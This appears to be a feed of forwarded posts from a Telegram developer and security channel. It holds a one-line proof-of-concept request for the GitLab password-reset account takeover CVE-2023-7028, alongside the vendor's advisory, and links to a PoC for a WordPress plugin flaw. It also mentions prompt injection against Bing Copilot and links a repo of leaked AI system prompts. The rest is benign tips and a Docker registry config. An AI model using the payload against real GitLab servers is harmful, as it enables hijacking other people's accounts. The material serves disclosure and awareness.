Forwarded from Dev Miscellaneous (davide. φ)
GitLab Critical Bug Account Takeover via Password Reset without user interactions - CVE-2023-7028
∆ POC :-
user[email][]=valid@email.com&user[email][]=attacker@email.com
Read More:- https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
∆ POC :-
user[email][]=valid@email.com&user[email][]=attacker@email.com
Read More:- https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
GitLab Docs
GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 | GitLab Docs
Learn more about GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).
Authorization Bypass vulnerability in POST SMTP Mailer, a WordPress plugin with over 300,000+ active installations
PoC: https://github.com/UlyssesSaicha/CVE-2023-6875
Blog: https://www.wordfence.com/blog/2024/01/type-juggling-leads-to-two-vulnerabilities-in-post-smtp-mailer-wordpress-plugin/
Security Advisory: https://nvd.nist.gov/vuln/detail/CVE-2023-6875
PoC: https://github.com/UlyssesSaicha/CVE-2023-6875
Blog: https://www.wordfence.com/blog/2024/01/type-juggling-leads-to-two-vulnerabilities-in-post-smtp-mailer-wordpress-plugin/
Security Advisory: https://nvd.nist.gov/vuln/detail/CVE-2023-6875
Forwarded from DevTwitter | توییت برنامه نویسی
توی این ریپو لیست بلاگهای مربوط به مهندسی نرمافزار هست و خیلی تکمیله.
https://github.com/kilimchoi/engineering-blogs
@DevTwitter | <Amirreza/>
https://github.com/kilimchoi/engineering-blogs
@DevTwitter | <Amirreza/>
AES input size is exactly 16 bytes. But you can apply AES endlessly if you divide your data into a stream of blocks of 16 bytes.
Bing chatbot (Copilot) was hacked using prompt injection.
Article
Article
GitHub
GitHub - mshojaei77/System-prompts: spill secrets of some LLMs
spill secrets of some LLMs. Contribute to mshojaei77/System-prompts development by creating an account on GitHub.
Forwarded from M CyberBlack
سلام دوستان وقت بخیر . کسی با insecure registry docker کار کرده که بتونه ریپو رو از nexus دریافت کنه و آدرسurl رو تو فایل daemon.json بزاره ؟ ممنون میشم اگر راهنمایی کنید مرسی
Forwarded from Arman
M CyberBlack
سلام دوستان وقت بخیر . کسی با insecure registry docker کار کرده که بتونه ریپو رو از nexus دریافت کنه و آدرسurl رو تو فایل daemon.json بزاره ؟ ممنون میشم اگر راهنمایی کنید مرسی
sudo bash -c 'cat > /etc/docker/daemon.json <<EOF
{
"insecure-registries" : ["https://docker.example .com"],
"registry-mirrors": ["https://docker.example.com"]
}
EOF'
systemctl restart docker
👍1